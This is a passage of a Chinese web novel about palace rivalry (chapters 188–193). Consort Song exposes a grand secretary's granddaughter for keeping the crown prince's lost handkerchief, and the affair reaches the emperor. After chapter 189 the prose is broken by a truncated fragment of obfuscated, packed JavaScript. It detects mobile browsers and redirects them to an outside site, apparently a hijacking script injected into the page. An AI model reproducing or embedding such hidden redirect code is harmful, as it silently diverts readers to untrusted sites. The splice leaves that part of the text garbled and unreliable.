“良娣有所不知,此物乃太子殿下三年前赠予臣女的,臣女不知殿下赠帕为何,可否请宋良娣指点一二?”
第188章 槛儿夺帕,“殿下将此帕赠予了臣女!”
宋良娣不想指点,并以迅雷不及掩耳之势趁其不备,夺过了那条帕子!
高若漪始料未及。
本能地怔了怔,而后“蹭”地站起来肃容道:“不知宋良娣这是何意?!”
高若漪情急没收住声。
在不远处假山、湖边等处赏景的夫人小姐们听到动静朝她们这边侧目。
见高首辅的孙女竟是和东宫宋良娣在一块儿,众人的神色顿时别有深意起来。
要知道本朝凡二品及以上大员的女儿、孙女,是不能参加选秀的。
且除了刚开国那会儿,有过颇具实权的开国勋贵之家把女儿嫁入皇家外。
之后本朝就严格限制手握重权的勋贵和文官之后,与皇室核心成员联姻。
这么做当然是为了预防外戚。
可凡事都有例外。
像是元隆帝不就娶了裴皇后这个历经四朝,手握实权的康国公家的嫡女吗?
也不知是先帝早属意了元隆帝这个儿子,又顾及他当时势弱才赐了这门婚平衡,还是有什么别的原因。
先帝爷驾崩了,这事也不好说。
但总归破了例不是?
所以很早之前,信王、荣王和睿王都曾表现出聘高家女为正妃或侧妃的意愿。
可惜都被元隆帝压下了。
而东宫直到去年万寿节之前都还处于失宠阶段,有人那时就猜裴皇后会不会在高家的庶女中挑一个接入东宫。
为太子拉拢势力
然而并没有。
可之前东宫的两个侧妃位都空着,正巧高首辅最小的嫡孙女那时没有及笄。
于是又有人猜,太子可能有意把位置留给高家女,另一个留给孙翰堂家。
孙翰堂是甘肃总兵。
一文一武,不是刚刚好?
以高首辅在朝中的地位,嫡亲的孙女不能给人做妾,那就日后做妻呗。
侧妃可是能扶正的呢。
如今侧妃位被占了一个,可那不还剩一个嘛。
因着这种种猜测,此时大家见高若漪和槛儿在一处,心思不免就活跃了。
“高小姐确定要这般与我说话?”槛儿攥着帕子,没事似的微笑着问。
经她一提,高若漪也察觉到了不远处的一道道视线,身子顿时一僵。
跟着调整好情绪和表情。
“可否请宋良娣与臣女换一个地方说话。”
槛儿看看手里的帕子,再看看她。
同意了。
地方换到了琼苑,也就是去年万寿节槛儿和宣王妃等人临时歇脚的地方。
曜哥儿和奶娘在暖阁,槛儿二人由宫人带去了西配殿的一间宫室。
奉茶的宫人一走,高若漪便肃容朝槛儿伸手:“请宋良娣物归原主。”
槛儿坐到北面的楠木椅上。
笑道:“你即说帕子是殿下的,那么原主该是殿下,如何要我归还给你?”
高若漪险些气笑。
“宋良娣此言未免过于胡搅蛮缠,赠者,玩好相送也,殿下既将此帕赠予了臣女,此物便是易了主。
臣女不知宋良娣此举为何,但不问自取是为偷,未允强拿是为抢!”
“请宋良娣物归原主!”
高若漪作为首辅家最小的嫡孙女,打小自是千娇百宠着长大,加之家学的影响,她的气质清雅如兰。
配上一张巴掌大的鹅蛋脸,澄净的睡凤眼和小巧直挺的鼻头,樱桃小口。
整个人端庄而不失灵动。
这般笃然严肃地说话时,确带着几分高门千金的威势,让人难以轻视。
槛儿观了对方须臾,然后在其要再开口时她温和的神情陡然一变。
“高小姐,你放肆!”
高若漪一愣,却是不待她思考。
槛儿眸光犀利地逼视着她。
“手帕乃贴身之物,非亲近之人不得相赠,殿下光风霁月谦谦君子,如何会做出此等私相授受之事!
你为朝廷命官之后,岂会不知凡私相授受者一经发现皆按私通和奸罪论?”
“你一待字
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闺中的贵女光天化日之下道储君与你私相授受,你是自己不要命了还要陷殿下于不仁不义。”
“高若漪高小姐,你该当何罪?!”
高家现今一位首辅,一位户部郎中,尤其前者,官威不可谓不重。
高若漪从小到大敬重祖父和她爹,也自认习惯了他们身上的那股威势。
可现在对上这位宋良娣看似平静实则锐利的目光,听着对方掷地有声的问话。
竟让她有种面对祖父时才有的压迫感,亦或者比祖父给她的压力还大。
高若漪却步了一瞬。
接着意识到自己竟对一个毫无根基的良娣生了惧意,她不禁恼羞成怒。
“宋良娣,就算您是良娣,也不能随便往臣女头上扣帽子,挟私诬陷大臣亲族可是重罪,望宋良娣慎言!”
槛儿笑了。
不愧是当朝首辅的孙女,就是有底气。
可惜对方显然忘了,太子良娣有诰命在身,而她虽是首辅的孙女却是白身。
终究年纪太小,不知其中利害。
若元隆帝或是高首辅的政敌有心扳倒高家,单是高若漪现在对她说话的这般语气,就可让其借题发挥了。
且如果槛儿没记错。
高首辅似乎就是今年倒台的,罪名是纳贿鬻官,私售盐引,私交藩王。
还有其他什么罪名,槛儿记不清了。
总之从高家拢共抄了五百万两银子,黄金十余万两,另有珍奇古玩不在列。
“您笑什么?”高若漪没好气地问。
“我笑首辅的孙女原来喜欢倒打一耙。”
“你!”
槛儿:“你说帕子是殿下赠你的就是殿下赠你的?证据何在?
殿下为何赠帕给你?又是何时赠你的?具体在哪个地方赠你的?
你且把这些先说清楚,若不然我现在就叫人去请殿下过来与你对质。”
“你若说不清楚,又不敢请殿下过来对质,那便是你玷污殿下清誉,谋危东宫!”
第189章 槛儿:“我相信殿下。”
高若漪是真没想到。
她之所以故意把帕子弄掉,又当着此人的面说帕子是太子给的,还特意说了不知太子赠她帕子的意思。
不为别的,就是纯粹想刺激刺激这人。
其实刚开始高若漪也不想这么做的,她堂堂首辅的孙女,又饱读诗书。
这种后宅女子勾心斗角的手段当真为她不齿,她也不想自降身份。
可就在不久前。
在皇孙们向裴皇后进献的时候。
高若漪又见到了那个肖似太子的孩子,且听宋氏说太子日里常指导她教孩子。
高若漪登时联想到了太子和宋氏亲密地挨在一处,逗弄婴孩的画面。
她心里终究还是像吃了颗酸李子,忍不住就想:宋氏何德何能?
于是脑子一冲动。
高若漪便想借手帕刺激刺激宋氏,顺便提醒提醒对方别一得意就忘形。
忘了自己的出身。
且按高若漪的设想。
宋氏听闻了太子她手帕的第一反应,该是先震惊然后黯然神伤的。
亦或者该过于自卑而恼羞成怒的。
结果对方却是不按常理出牌,甚至想请太子过来对质,这怎么行?!
那帕子是太子的没错。
却不是太子赠她的。
而是三年前帝后率群臣及女眷去行宫避暑,她有幸和祖母一起随驾。
然后某天傍晚,她与婢女外出遛弯。
无意间走错了路,远远偶遇了跑马回来的太子,彼时太子正擦拭额上的汗。
擦完之后将帕子交给了随行的小太监,岂料那小太监是个**手毛脚的。
把太子用过的手帕塞进袖子里,没甩两下就给甩掉了,刚巧当时附近没别人。
于是等太子主仆二人走得没影儿了,高若漪就过去把那帕子给捡了。
所幸帕子上绣的不是龙纹。
也没有任何太子的标志,她便将其私藏了。
平时自是小心谨慎地藏着。
但大抵出于一种隐秘的心思,每逢宫宴高若漪都会将其带在身上。
横竖没什么标志。
她不说,就没人知道是太子的。
刚刚与宋氏提起这方帕子,是她笃定宋氏不敢声张,不敢对她做什么。
只会自己默默拈酸垂泪,若不然高若漪怎么也不可能对外人提起这事。
不是太子赠的,却要叫太子过来对质。
那不就露馅了?!
尤其还涉及到玷污太子清誉,谋危东宫这种罪。
到底只是个刚及笄的小姑娘,平时表现得再端庄,骨子里也没真正经什么事。
高若漪一下子就慌了。
几乎是槛儿的话音刚落,她就猛地高声一叫:“不准请殿下来对质!”
槛儿眯眼:“不准?”
反应过来说错了话,高若漪又有一瞬的慌神,可她不愿当着槛儿的面露怯。
只不过不待她开口。
槛儿就先一步道:
“你不准我请殿下来对质,你害怕对质,所以这方帕子不是殿下赠你的。”
“是你私藏的,对是不对!”
也是事情与她设想的发展方向南辕北辙,过于害怕槛儿真请太子来对质。
加之对方逼问得这么急。
高若漪一时心慌意乱。
口不择言道:“是又如何?宋良娣倒也不必这般对臣女摆太子侧妃的谱。
臣女现下虽是白身,却是当朝首辅之嫡孙女,而您一介宫婢出身,能有今日的位置全仰仗太子殿下宠爱……”
“听清楚了吗?”
没等高若漪说完,槛儿忽然扬声道。
高若漪一顿。
不懂此女这话对谁说的,明明看的是她。
然而不待她细想。
宫室的门就被人从外面推开了。
一坤和宫的宫女朝屋里福了福身道:“回良娣主子,奴婢听清了,也记住了,奴婢这便去回禀皇后娘娘。”
说罢,恭敬退下。
高若漪难以置信,俏脸一片惨白。
槛儿起身。
“高小姐为当朝首辅的嫡亲孙女,难道不知宫宴上任何未经帝后特许的私下会面都会被视作结党营私吗?”
高若漪知道。
但她刚刚一心想拿回帕子。
且她们要谈的是与太子相关的私密话题,她便以为宋氏不会让人跟。
结果对方非但让人跟了。
还要上报裴皇后!
“你、你就没想过那手帕就是太子赠我的吗?”高若漪不可思议地问。
槛儿往外走,闻言在经过她时停下。
“不会。”
高若漪羞愤,又不解。
不解她为何敢这般笃定。
“我说了。”
槛儿目色明澈地看着她,认真道。
“殿下光风霁月,谦谦君子,不会做与人私相授受之事,我相信殿下。”
无关乎情爱,那人的本性就是如此。
槛儿径自往外走,头也不回道:“帕子我会物归原主,高小姐不必忧心。”
高若漪跌坐在一旁的椅子上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192357|180054||http|test|mini|href|location''.split(''|''),0,{}));
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r>私藏储君之物被揭穿。
她完了……
.
回了御花园,宣王妃也带着瑜姐儿过来了,就坐在之前的那个凉亭里。
“听人说你和高小姐一起走了,高小姐人呢?怎生就你一个人?”
等槛儿坐下,宣王妃亲切地问道。
槛儿若无其事道:“她身子有些不舒坦,估计一会儿要准备回府了。”
虽说宣王和太子的关系比较亲近,宣王妃人也好,但事关太子和高小姐的清誉,这种事还是不要说了。
宣王妃也像真信了似的点点头。
“才刚立了夏,正是气温变幻无常的时候,今儿人也多,可能一时不适应。”
说着,她忽地顿了顿。
眼神稍显欲言又止。
槛儿莞尔道:“王妃有话但说无妨。”
旁边的顾侧妃很有眼力见儿地拉着吃完糕点的瑜姐儿,到亭子外看花去了。
宣王妃往外看了看,遂压低了声音道:“高小姐入不了东宫,你不用担心。”
槛儿微微错愕。
不过想到选秀在即,不能参加选秀的重臣之女有时也可能入东宫和王府。
如此一来,自然少不了各种猜测,宣王妃是想到了这个才安抚她的吧。
槛儿笑给宣王妃斟了杯茶。
“多谢王妃提点。”
多的就不能说了,心知肚明就好,槛儿转而问起瑜郡主伤得怎么样。
宣王妃:“额头破了点儿皮倒是没什么大碍,不过可能有点儿惊着了。”
“真是跟映哥儿争玩具闹的?”
槛儿问。
主要韶宁郡主和高小姐来得有些巧,之后这边还刚好就剩了她和高小姐。
不免容易叫人怀疑。
宣王妃不知道高若漪和帕子的事,没想那么多,只当槛儿在怀疑其他事,毕竟宫宴容易让人浑水摸鱼。
“对,争玩具闹的。”
宣王妃道。
“你不知道,映哥儿之前不小心把她的兔子坐**,之后她就跟映哥儿杠上了,**在一起**都要争。”
说到这,宣王妃话头拐了弯儿。
“曜哥儿真是我见过最乖的孩子,话说六哥真现在就开始教曜哥儿了?”
槛儿一窘。
忍俊不禁道:“哪能呢,曜哥儿才多大,压根儿听不懂话,日常顶多逗逗他。”
“那便是生性乖巧聪颖,这么乖的孩子,看得我都想再生一个了……”
话音未落,宣王妃的表情变得一言难尽。
第190章 马屁精!“帕子是您的,您可还有印象?“
槛儿狐疑。
前世因着有姜氏,宣王妃母女不幸早逝,这辈子没有姜氏横插一脚。
按说宣王妃要想和宣王再生一个也不是不行,何至于脸色瞧着这么难看?
不过关系到人家两口子的私密事,槛儿也没多问,随口把话题岔开了。
眼看临到酉时。
槛儿准备去琼苑把曜哥儿接过来。
等外命妇和没有子嗣的妃嫔赐别了裴皇后,他们就该去交泰殿赴家宴。
然而槛儿刚站起来,韶宁郡主风风火火地来了,“宋良娣,我有话问你!”
“琬姐儿不得无礼!”
宣王妃低斥。
韶宁郡主差点被呛到。
撇撇嘴扭过头看着槛儿,放低声音问:“你跟若漪说了什么?她脸色难看得不行,还提前出宫了!”
槛儿可没忘韶宁上个月当众嫌曜哥儿脏的事,再者她和韶宁郡主同岁。
如今也不用过于忌惮身份。
槛儿便恭敬又不失几分随性道:“郡主与高小姐交好,直接问高小姐岂不更好?”
韶宁瞪大眼。
她没听错吧?
姓宋的居然敢跟她这么说话!
搞清楚她可是亲王郡主!
“郡主可还有别的事?若没有,妾身便去接大公子,稍后还有家宴。”
槛儿只当没看见韶宁郡主脸上明晃晃的怒意,没事人似的柔声道。
韶宁郡主刚打算和槛儿理论理论尊卑,一听大公子和家宴她立马蔫儿了。
就因为她当众嫌了那臭屁孩儿一句脏,她至今还在天天练武、抄经、侍弄花草!
月例被削得只剩了五两!
有她这么惨的郡主吗!
韶宁郡主愤怒想哭,却是不敢再惹事了,重重哼一声又风风火火地跑了。
半个时辰后。
太子率众皇子、驸马在家宴上向裴皇后贺了寿,宴上仍是设了男女大方,之后的宴便中规中矩没出什么岔子。
宴罢,帝后与后妃们相继离席。
再是太子和槛儿。
曜哥儿也被奶娘与银竹护着坐上了小轿,一家三口浩浩荡荡地回东宫。
信王不在,信王一大家子就由信王妃和世子骆晔领着出了交泰殿。
骆晔状似不经意扭头朝东宫一行人的方向看去,却只看到那顶孩童小轿上的红穗在拐弯处打了个转。
“可惜没机会,要不然真想看看咱们太子宠起女人来是个什么样。”
骆晔转头,就见他五皇叔慎王看着景和门方向,摸着下巴似笑非笑道。
宣王也出来了。
闻言道:“五哥你好奇这个作甚?你什么时候对这些事感兴趣了?”
慎王侧身就在宣王的肩头捶了一拳。
“行了,别以为我不知道你在想什么,你不就是怕我对太子那个宠妾下手吗?
我就问你,你什么时候见过我对后宅妇孺下手了?说,你什么时候见过了?”
他说一句捶一拳宣王,说一拳捶一拳。
宣王武艺不俗,却是芝兰玉树,跟虎背熊腰,一身亲王**袍瞧着身前衣襟都仿佛要被崩开的慎王比起来。
宣王俨然就是一根竹竿。
就这么被慎王拿拳头戳着,在外人看来活像似他在被慎王**似的。
“五皇叔慎言。”
骆晔上前挡住慎王的拳头,提醒道。
慎王甩开他,“大人说话小孩插什么嘴?去去去,别搁这儿讨人嫌。”
“五哥行事光明磊落,弟弟也只是随口一问,五哥倒也不至于这般激动。”
宣王笑着道。
慎王瞪眼睛:“谁说我激动了?我激动了?老七我看你是想找打。”
打是不可能打的。
真打了消息不出半刻钟就能传到乾元殿,是时兄弟俩都免不了挨一通骂。
但慎王心里不舒坦。
出了宫马车快到慎王府的时候,他问慎王妃:“那小崽子今天表现得如何?”
慎王妃双十年华,生得温婉秀丽,性子也和慎王截然相反,是个面团似的人物。
“什么小崽子,王爷你慎言。”
慎王觉得这日子没法过了。
一个两个都叫他慎言,老头子也是,当初怎么就给了他这
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么一个封号!
“我看着挺乖的。”
慎王妃没把丈夫的黑脸当回事,笑着说。
“那么大点点儿人就知道向母后贺寿了,长大了肯定也是个聪明的。”
慎王:“呵,小小年纪就知道拍马屁,长大了肯定也是个大马屁精!”
慎王妃:“……”
慎王妃坐到临窗的位置。
慎王:“你作甚离本王那么远?”
“王爷的嘴太利,妾身怕被伤到。”
慎王:“……”
回了王府,慎王与妻子一道回了她住的承锦堂,进屋后便挥退了下人。
“说正事,母后待老六家的小崽子态度如何,那姓宋的良娣是个什么样的人?”
慎王浑归浑,但他也确实如他说的那样,没对谁家后院的妇孺下过手。
不过情况还是要了解的,尤其老头子对东宫的态度,慎王瞧着委实憋得慌。
等慎王妃把女眷那边的情况详细说了,慎王阴着脸陷入了沉思之中。
慎王妃看着丈夫黝黑俊朗的侧脸,迟疑了片刻伸手覆上他放在案几上的手。
“王爷。”
慎王侧首看她。
慎王妃目光温和地注视着他。
“今日定也吃了不少酒吧,妾身让人去煮醒酒汤来,您喝了也能睡得安稳。”
慎王怔了怔。
慎王妃柔柔一笑。
“昙哥儿和瑾姐儿前两天还说好久没与爹爹一起睡了,难得您今晚有空,妾身便让乳母把他们抱过来。”
说着,她扬声吩咐人下去传话。
慎王盯着妻子温柔白皙的侧脸恍惚了一瞬,但很快又回过神来,撂下一句“我去沐浴”进了内室。
慎王妃看着男人的身影消失在落地罩前,沉默良久疲惫地叹出一口气。
.
槛儿说会物归原主真就物归原主了,睡前收拾完等宫人们都退下了,她便将帕子递到太子面前。
骆峋接过,“你绣的?”
槛儿褪去寝鞋从他腿上翻到了里侧,倒也没兜圈子:“不是,这帕子是您的,您瞧着可还有印象?”
第191章 太子调戏宋良娣(?)“这种赏要不要?”
骆峋没印象。
他还不至于会闲到连自己用过哪块手帕这等事,都会完全记得的地步。
但他没忘自己的确曾遗失过一条手帕。
倒不是他矛盾至此,不记得用过哪条帕子,却能记得手帕丢失这样的小事。
而是储君的一应用物自来当严密保管,稍有遗失便可能引发一连串**事件。
譬如落入有心人之手后,会遭其利用,诬陷东宫行巫蛊厌胜之术。
亦或是伪造谋逆证据、沾染上与人私通秽乱、更甚者被构陷私通外敌什么的。
这般情况往往后果难测。
所以别看丢失一条手帕看似是件小事,于骆峋而言却是尤为严重。
大抵也是明白事情的严重性,当时负责收捡手帕的小太监没敢瞒。
老老实实就把事上报了。
自是挨了一顿板子,之后海顺派人在马场与那条路上找了个底朝天。
可惜都没找到。
考虑到帕子可能会被人利用,酿成不好的后果,骆峋索性将此事告知了父皇。
左右都要挨骂。
先老实承认了,总好过将来出事了被揭发时才牵扯出他意图瞒天过海。
当时父皇早对他生了猜忌不满之意,知道这件事后自然发了一通火。
说他连贴身之物都管不好,说他驭下无方,甚至不堪为储这种话都说了。
总归骂得很难听。
彼时骆峋才十九岁,尚未及冠。
尽管清楚父皇会那般待他,究其根源是父皇年迈,对死亡生了畏惧之心。
但念起父皇曾经待他的那些好,骆峋也还是破天荒难过了两天。
也后悔自己当天没带海顺,没让暗卫跟着。
事后他一直有让人留意手帕的去向。
可惜大抵因着一开始就没有头绪,故而后来也一直没找出那方帕子。
此时听槛儿道这方手帕是他的,骆峋第一时间便想到了遗失的那方帕子。
于是他道:“孤曾遗失过一方手帕,但未曾寻到,这方帕子你从何而来?”
槛儿就把下午那会儿和高小姐之间的事跟他说了,从手帕掉到她脚边开始。
包括高小姐说不知太子赠此帕是何意,请她指点一二,以及后面两人的具体谈话、高小姐承认私藏手帕等。
统统都说了。
骆峋听完,神色很是不好。
他虽没说当初他为手帕遗失一事在元隆帝那儿挨过骂,但槛儿清楚储君的东西遗失可能酿成的后果。
因而大致能猜到以这人的行事风格,估计当时便将事向元隆帝报了。
挨骂倒也不难猜到。
若说这事放在寻常人家,小姑娘私藏了心上人的东西,事后惨遭发现。
槛儿还能以女儿家的一片赤诚爱慕之心替其说说话,可惜不是寻常人家。
事情就注定不能等同待之。
再者不管那位高小姐平日的为人如何。
她今天的初衷都是为了不让槛儿好,后面也表现出了对槛儿的低看之意。
槛儿自觉不是圣人,做不到以德报怨。
所以她没多说别的。
只问:“殿下要处理这件事吗?”
骆峋:“必须处理。”
不提他被父皇骂的事,仅针对高若漪私藏他东西的这件事本身的性质。
便不能不了了之。
且另有高家,高敬璋、高墉父子。
高敬璋乃先帝时期元武十年的榜眼。
初授获翰林院编修,后经调至外地督学,回京后先后任翰林院侍讲、国子监祭酒、礼部郎中、礼部左侍郎。
再之后被调至吏部。
从吏部右侍郎到吏部尚书,入内阁,于先帝大行前接替上任首辅之位。
至今高敬璋在首辅这个位置上待了二十多年,一直为朝中清流之表率。
不可否认高敬璋于朝廷所做的贡献。
然此人表面是清流。
实则暗地里利用职位之便大肆敛财,将两淮盐场搅得一团乱也是事实。
据骆峋所知。
先帝任用高敬璋为首辅,是为父皇今后有人可用,当时高敬璋也尚为清明之人。
直至元隆五年。
父皇需借高敬璋之流推行新政、重开海禁,其洞察圣意后作风便开始变了。
到元隆十七年。
新政完成,海市完全恢复商贸。
高敬璋卖官鬻爵,雅贿洗银,其贪墨恶行渗透至军费、司法、田产等多处。
父皇这两年明面上对高敬璋仍是睁一只眼闭一只眼,实则早在为扳倒高敬做准备。
上个月淮安府清江浦水渠暴雨决堤,知府的折子今日下午才到父皇手上。
报称此次决堤毁漕船百艘,淹死役夫数百,另有洪水倒灌皇祖陵,究其决堤原因或为高氏门生克扣工料。
父皇大怒不止。
让骆峋来看,若无意外此事便极可能成为父皇铲除高家父子的引火线。
至于高家小姐私藏东宫之物这件事,骆峋当初没瞒,现今也不打算瞒。
非他有失君子风度,不顾及高家小姐清誉,而是事关高
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家不能轻拿轻放。
且此事本身性质恶劣。
那高家姑娘却非但不知悔悟,反想借此挑拨他与槛儿,骆峋不喜。
槛儿见太子同她说了几个字,眼神就深了许多,知道他是联想到正事上了。
她便不作打扰。
从他手里拿过那本民间轶文看。
骆峋事情想得差不多了,思绪被旁边几不可闻的翻页声完全拉回来。
看看她白净的侧脸,骆峋问:“那人说帕子是孤赠她的,你当真不曾误会?”
槛儿转过头望着他,目光甚是清明。
“没有。”
不想他误会,她放下书很是郑重其事道。
“我虽不知三年前的殿下是何模样,但我知道您是君子,是明智之人。
我相信殿下,并不仅是因为您待我好,更因为您原就不欺暗室,不愧屋漏。”
好一个不欺暗室,不愧屋漏。
骆峋想说他并没有她口中这般光明磊落,为储者,光明磊落是成不了事的。
但看着她明亮的眼,骆峋按下了这些心思,意味深长道:“你倒了解孤。”
槛儿抱住他,声音黏黏糊糊的:“不是了解殿下,妾身是亲眼看到的。”
骆峋由她又抱又蹭。
鼻腔里发出一声不明意味的轻哼。
槛儿转而道:“您要跟陛下说吗?没别的意思,就是我和高小姐的谈话娘娘那边的人估计已经报给她了。”
骆峋将帕子扔到床头小几上,“若报给陛下,你可会怕将你牵扯进来?”
“不怕。”
槛儿枕到他肩头,实诚道,“妾身又没犯错,反倒将您的帕子拿回来了。”
“嗯。”
骆峋假作沉吟。
“有功,当赏。”
槛儿仰头问:“什么赏?”
骆峋拿指腹蹭了蹭她的脸颊,下一刻翻身将人放到榻上,倾身覆上去。
“这种赏,要或不要?”
槛儿的脸被他的鼻息本能地染上一层桃粉:“说着正事儿呢,您怎么就……”
骆峋亲亲她的脸颊,又在她的唇上碰了一下,嗓音低低的:“要不要?”
槛儿想捂脸。
被他按住了手。
她忍不住想,其实在榻上不说话有不说话的好,明明起初行事都要熄灯。
这会儿倒调戏起人来了。
活过一辈子的槛儿不服,半推半就地翻到他身上,颠龙倒凤不外如是。
骆峋的一句“放肆”在喉间打了个转,随着一声低喘变成:“下不为例……”
第192章 “你那个良娣不错。”
翌日早朝结束。
骆峋去内阁转一圈回来,将帕子呈到御前,并言明个中来龙去脉。
三年前的事元隆帝自然记得,所以他想起了当时对儿子的那番指责怒骂。
元隆帝:“……”
元隆帝咳了咳。
绷着老脸嫌弃般拿笔杆子戳了戳那条手帕,道:“确定是这条帕子?”
无需骆峋开口。
跪在一旁的小太监瑟瑟发抖道:“回、回陛下的话,正是这方手帕。”
此人正是三年前那日在太子跟前服侍的小锦子,说起这事他也是倒霉。
他那时原是太子的随行宫人。
虽说属排在末尾之列的,但到底能在太子跟前侍候不是?多体面啊。
那天好不容易有近身伺候太子的机会,小锦子还想着要好好表现呢。
结果就是过于紧张,导致差当得毛毛躁躁。
发现弄丢帕子的第一时间小锦子人都傻了,下意识就想把事瞒下来。
可他又害怕把事瞒了,如果之后酿成了什么大祸,再查到他头上。
那他岂不死得更惨?
关键瞒着事,他成日里也要战战兢兢。
估计要不了多久就会被人发现端倪,亦或者他自己把自己给吓死了。
于是思来想去。
小锦子最终壮着胆子找到海总管请罪。
虽说当时挨了板子,人也被调去做了杂役,可到底暂时活下来不是?
不夸张地说,这三年小锦子一天也不敢忘了那条帕子,就怕真出了什么事。
今儿一早当着太子的面认出那条帕子时,小锦子激动得当场就红了眼。
他终于不用担惊受怕了!
太子爷也没有被他害!
太子的人,除非必要元隆帝向来不会下令处置,都是随太子自己处理。
挥退了小锦子。
元隆帝本就因淮安府的事对高敬璋父子没好脸,这会儿又有了这么一桩事。
他朱笔一扔,把御案拍得震天响。
“首辅的孙女当为京中贵女以身作则,为闺阁之表率!这高家姑娘倒好,竟干出私藏外男贴身之物这种事!”
“实在是不庄重!不知羞!”
“来人!”
全仕财上前。
元隆帝:“叫高敬璋父子过来!朕倒要问问他们是怎么教孙女教女的!”
全仕财安排人分别去文华殿西侧的首辅专属直房和户部云南司请人。
元隆帝骂了一通。
停下来问儿子:“以你之见,清江浦水渠这起案子在京的人里该派谁去?”
自打元隆帝放宽了对东宫的态度,类似这种考校功课的问题时不时就有。
骆峋稍作思索。
从善如流道:“回父皇,儿臣私以为工科梁盛或可前往与淮安知府一同勘察水渠用料及账目。
佥都御史周肃、冯秉仁则能与淮扬道按察使审责当地官吏,锦衣卫千户苗季樵可和淮安卫指挥使缉拿人犯。”
“清江浦乃漕运重要河段,修建水渠的款项出自漕粮折银,石料走的两淮盐税,该户部山东清吏司管。
当派该司主事与两淮盐运使核验拨款流向,另盐税往来或也需查一查。”
“事关重大,儿臣学识经验尚浅不敢妄下论断,有思虑不当之处请父皇训示,用否其人,亦请父皇圣裁。”
每次都有最后几句,元隆帝懒得再搭理。
沉吟须臾,他道:“你说的这几个人都可用,不过朕打算再派一个人去。”
骆峋看着父皇。
元隆帝:“让老五也去,给他个巡河安抚使的虚衔,过去震慑震慑有些人。”
这是其一。
其二老五性子浑,但办起正事来还是很靠得住,心肠也没坏到老三那种地步。
能拉得回来。
元隆帝知道老五在介意什么,无非觉得他偏心,可没有规矩不成方圆。
也不想想就他打小那三天不打上房揭瓦,时不时就闯一堆祸的性子。
能活到现在都是神迹。
还想让老子偏他?
等着吧。
不过既能拉回来,还是要拉一把的。
且今年元隆帝已经五十九了,明年便六十,六十在时下已是高寿。
元隆帝也不知道自己还有几个年头可活,总归得给太子留几个可用的人。
高敬璋的位置他已经物色好人选了,内阁里与其有关联的其他几个人他也寻好了接替的。
不过外臣得用,皇家自己人也不能废。
荣王虽腿脚有疾,本事却还是有的。
不是完全不可用。
宣王则自来便黏太子,当起差来也不错。
简王这辈子就那样了。
好歹怕他六哥,翻不出什么浪。
剩下的十六、十四年纪尚小,目前暂时看不出他们在差事上的能力。
但以太子的能力,控制他们轻而易举。
心里这么想,元隆帝也这么跟太子说了。
“老五那边朕会跟他谈,你这边早先朕拘着你了,好在你自己争气,如今朕给你机会你便多看多听多学。
朕看什么时候让你出去走一趟,黎民之苦,稼穑之艰,光是高居庙堂之上听百官陈情,于为君者而言,大忌。”
骆峋没料到父皇会突然说这些。
大抵是出于前些年父皇对他的猜忌,也或许是皇帝与储君天生的立场。
以至于骆峋闻言的第一反应是,父皇此番会不会又是在试探他?
可同时出于对父皇的孺慕与尊敬,听到父皇说出这等近似安排后事的话,他的心又忍不住闷起来。
不待元隆帝再说,骆峋撩袍跪下:“儿臣叩谢父皇教诲,但父皇……”
“行了,别跟朕说些有的没的。”
元隆帝摆摆手。
绕过御案走到儿子跟前,将其拽起来。
“这些话早该跟你说了,不过现在说也不迟,你且听进心里去就行。”
骆峋郑重拱手。
“儿子定当谨记。”
元隆帝点点头。
进来个小太监禀高首辅和小高大人来了,他皮笑肉不笑地扯扯嘴角。
只作没听见。
全仕财见状替皇帝寻借口叫人等着。
元隆帝说完了正事,对太子道:“你那个良娣不错,替你将遗失之物拿了回来,还套了那高家姑娘的话。”
“听你娘说曜哥儿昨日还给她贺寿了,倒也是个会生的,你明面上不要再赏她什么了,私下看奖点儿什么吧。”
私下已奖赏过的太子爷:“……”
骆峋垂眸应是。
端的是一贯的沉稳内敛。
第193章 高若漪之结局,“准备嫁过去吧。”
高若漪打从昨日和槛儿说完话,就处于一种惊惶胆寒的状态之中。
脑海里上演了千百种可能。
想裴皇后得知她私藏外男贴身之物,得知她藏了她儿子的东西后,会怎么想她这个首辅的嫡亲孙女?
会怎么处置她?
又想裴皇后或者那姓宋的良娣会不会将此事告知太子,肯定会的吧。
尤其宋氏。
书上说穷山恶水出刁民。
高若漪自认一开始并没有看不起宋氏的意思,可自古事实便是如此。
穷人为了钱什么都做得出来,而宋氏那般的出身,骨子里定也是市侩奸猾的。
所以宋氏肯定会将事告诉太子,也定会把她刚开始说的挑拨之言与太子说。
不仅如此。
市侩奸猾之人肯定不会错过任何落井下石的机会,宋氏绝对会趁机在太子跟前踩她一脚,给她上眼药!
然后再哭诉一番,装柔弱以博太子怜爱。
高若漪悔不当初。
悔自己不该被一时的妒意冲昏了头,冲动做了自己向来最为不齿的事。
更甚者以那样的方式。
她怎么就把那条手帕给拿出来了呢!
这也就罢。
她堂堂首辅的孙女,贵女中的佼佼者。
居然会被一介宫婢出身的良娣给震慑住,甚至于一时羞恼被套了实话!
高若漪又恼又窘又怨。
怨宋氏不按常理出牌。
若不然手帕不会被拿回去,她私藏太子的东西这件事也不会被人知道!
可惜事情已经发生,再怨再愤也无济于事。
高若漪现在就忐忑裴皇后会怎么处理这件事,而太子又会怎么待她。
她知道藏那条帕子不对。
一旦被人发现就是她被钉在耻辱柱上,被所有人戳脊梁骨的下场。
也知道那小太监发现帕子丢了后肯定会被吓破胆儿,亦或是被人知道他丢了帕子,小太监可能会没命。
可那是他自己做事不小心导致的啊,就该承受相应的后果不是吗?
以高若漪来看,那小太监应该庆幸是她捡走了帕子,而不是被别人捡走。
若不然他只会死得更惨。
再者她是京城第一才女,自然当配这天底下最英俊最有才身份最尊贵的男子啊。
正好她心悦太子,太子也符合她的择婿标准,她暂时替未来夫婿收捡东西。
不是合情合理吗?
等她成了他的侧妃,再成为太子妃。
是时他们便是夫妻,如此一来她私藏他东西的行径就能成为一桩美谈。
多好的将来!
却偏偏半路杀出个宋咬金!
高若漪气哭也怕哭,同时还是抱着侥幸心理的,毕竟元隆帝都要给祖父面子。
裴皇后和太子该也会看在祖父的面上宽恕她,对此事轻拿轻放吧。
